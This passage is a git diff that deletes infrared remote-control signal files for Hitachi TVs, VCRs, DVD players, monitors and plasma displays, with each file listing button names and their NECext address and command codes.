parsed -protocol: NECext -address: 50 00 00 00 -command: 05 00 00 00 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: TV_LAST_CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: TV_MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: TV_0_(&!/) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0C 00 00 00 -# -name: TV_1_(ABC) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0D 00 00 00 -# -name: TV_2_(DEF) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0E 00 00 00 -# -name: TV_3_(GHI) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0F 00 00 00 -# -name: TV_VOL_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: TV_VOL_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: TV_CH_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: TV_CH_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: TV_4_(JKL) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1C 00 00 00 -# -name: TV_5_(MNO) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1D 00 00 00 -# -name: TV_6_(PQR) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1E 00 00 00 -# -name: TV_7_(STU) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1F 00 00 00 -# -name: TV_SELECT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 33 00 00 00 -# -name: TV_MENU -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 53 00 00 00 -# -name: TV_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 70 00 00 00 -# -name: TV_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 71 00 00 00 -# -name: TV_> -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 72 00 00 00 -# -name: TV_< -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/96,-1.ir deleted file mode 100644 index 5bbe205dc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/96,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_8_(VWX) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 04 00 00 00 -# -name: VCR_9_(YZ) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 05 00 00 00 -# -name: VCR_FFW_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: VCR_REW_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: VCR_STOP -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0B 00 00 00 -# -name: VCR_0_(&!/) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0C 00 00 00 -# -name: VCR_1_(ABC) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0D 00 00 00 -# -name: VCR_2_(DEF) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0E 00 00 00 -# -name: VCR_3_(GHI) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0F 00 00 00 -# -name: VCR_PLAY_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 14 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 16 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 17 00 00 00 -# -name: VCR_CH_V -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: VCR_CH_^ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: VCR_PAUSE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 -# -name: VCR_4_(JKL) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1C 00 00 00 -# -name: VCR_5_(MNO) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1D 00 00 00 -# -name: VCR_6_(PQR) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: VCR_7_(STU) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1F 00 00 00 -# -name: VCR_SELECT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 8B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/97,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/97,-1.ir deleted file mode 100644 index fd2c5e0f4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/97,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_REC -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir deleted file mode 100644 index 2ec38c7a4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 80 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 81 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 82 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 83 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 84 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 85 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 86 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 87 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 88 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 89 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8B 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8C 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8E 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 8F 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 90 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 91 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 92 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 93 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 94 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 95 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 97 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 98 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 99 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9A 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9B 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9D 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9E 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 66 00 00 00 -command: 9F 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A0 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A1 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A2 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A4 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A6 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A7 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A8 00 00 00 -# -name: BOOK_MARK -type: parsed -protocol: NECext -address: 66 00 00 00 -command: A9 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AA 00 00 00 -# -name: 3D -type: parsed -protocol: NECext -address: 66 00 00 00 -command: AB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Display/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Display/80,-1.ir deleted file mode 100644 index ca543f53a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Display/80,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: LAST_CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/LCD/86,171.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/LCD/86,171.ir deleted file mode 100644 index 5ce9df2e1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/LCD/86,171.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 56 AB 00 00 -command: 23 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/144,0.ir deleted file mode 100644 index bf033ddea..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/144,0.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_STOP_[] -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 00 00 00 00 -# -name: VCR_<< -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 02 00 00 00 -# -name: VCR_>> -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 03 00 00 00 -# -name: VCR_PAUSE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 06 00 00 00 -# -name: VCR_REC -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 08 00 00 00 -# -name: VCR_PLAY_> -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0A 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 10 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 11 00 00 00 -# -name: VCR_3 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 12 00 00 00 -# -name: VCR_4 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 13 00 00 00 -# -name: VCR_5 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 14 00 00 00 -# -name: VCR_6 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 15 00 00 00 -# -name: VCR_7 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 16 00 00 00 -# -name: VCR_8 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 17 00 00 00 -# -name: VCR_9 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 18 00 00 00 -# -name: VCR_0 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 19 00 00 00 -# -name: VCR_CH_^ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 34 00 00 00 -# -name: VCR_CH_V -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 35 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 36 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir deleted file mode 100644 index 81a50b212..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir +++ /dev/null @@ -1,542 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 04 00 00 00 -# -name: TV_8 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 04 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 05 00 00 00 -# -name: TV_9 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 05 00 00 00 -# -name: 100_ENTER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 06 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 06 00 00 00 -# -name: VTR/TV_100 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 06 00 00 00 -# -name: VTR/TV_SA -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 08 00 00 00 -# -name: AVX -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: VCR_AVX -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: VTR/TV_AVX -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: LAST_CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: VCR_LST-CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: LAST_CHANNEL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: LST-CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: VTR/TV_LST-CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: TV_PREV_CH -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0C 00 00 00 -# -name: TV_0 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0D 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0D 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0E 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0E 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0F 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0F 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 10 00 00 00 -# -name: VCR_RECALL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 10 00 00 00 -# -name: VTR/TV_RECALL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 10 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 11 00 00 00 -# -name: VTR/TV_OFF-TIMER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: CHANNEL_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: TV_CH_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: TV_CHANNEL_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: TV_CH_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: TV_CHANNEL_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 19 00 00 00 -# -name: VTR/TV_SURROUND -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1C 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1D 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1E 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1F 00 00 00 -# -name: TV_7 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 1F 00 00 00 -# -name: VCR_ENTER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 33 00 00 00 -# -name: C.S._(MOUSE) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 3C 00 00 00 -# -name: PIPC -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 4C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 53 00 00 00 -# -name: VCR_MENU -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 53 00 00 00 -# -name: POSITION_(H) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 58 00 00 00 -# -name: POSITION_(V) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 59 00 00 00 -# -name: SIZE_(H) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5A 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5B 00 00 00 -# -name: VTR/TV_RESET -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5B 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5C 00 00 00 -# -name: VTR/TV_+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5C 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5D 00 00 00 -# -name: VTR/TV_- -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5D 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5E 00 00 00 -# -name: VTR/TV_P/S_MODE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5E 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5F 00 00 00 -# -name: SIZE_(V) -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 61 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 64 00 00 00 -# -name: VCR_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 70 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 70 00 00 00 -# -name: VCR_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 71 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 71 00 00 00 -# -name: VCR_> -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 72 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 72 00 00 00 -# -name: VCR_< -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 73 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir deleted file mode 100644 index 822678def..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VTR_8 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 04 00 00 00 -# -name: VTR_9 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 05 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: VTR_F.FWD/V.SRCH_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: VTR_REW/V.SRCH_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0B 00 00 00 -# -name: VTR_STOP_[] -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0B 00 00 00 -# -name: VTR_0 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0C 00 00 00 -# -name: VTR_1 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0D 00 00 00 -# -name: VTR_2 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0E 00 00 00 -# -name: VTR_3 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0F 00 00 00 -# -name: VTR/TV_F.ADV_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 10 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 14 00 00 00 -# -name: VTR_PLAY_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 14 00 00 00 -# -name: VTR/TV -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 16 00 00 00 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 16 00 00 00 -# -name: VTR_POWER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 17 00 00 00 -# -name: VTR_CHANNEL_V -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: VTR_CHANNEL_^ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 -# -name: VTR_PAUSE/STILL_ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 -# -name: VTR_4 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1C 00 00 00 -# -name: VTR_5 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1D 00 00 00 -# -name: VTR_6 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: VTR_7 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1F 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 40 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 41 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 42 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 44 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 45 00 00 00 -# -name: COUNTER_REMAIN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 46 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,158.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,158.ir deleted file mode 100644 index a68846a3f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,158.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir deleted file mode 100644 index 1c48920ac..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: REC -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 14 00 00 00 -# -name: VTR_RECORD -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 14 00 00 00 -# -name: PL -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 40 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir deleted file mode 100644 index a729348ee..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 3E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,173.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,173.ir deleted file mode 100644 index 9f36b81a1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,173.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 00 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 01 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 02 00 00 00 -# -name: VOLYM_+ -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 03 00 00 00 -# -name: VOLYM_- -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 04 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 50 AD 00 00 -command: 05 00 00 00 -# -name: PINP -type: parsed -protocol: 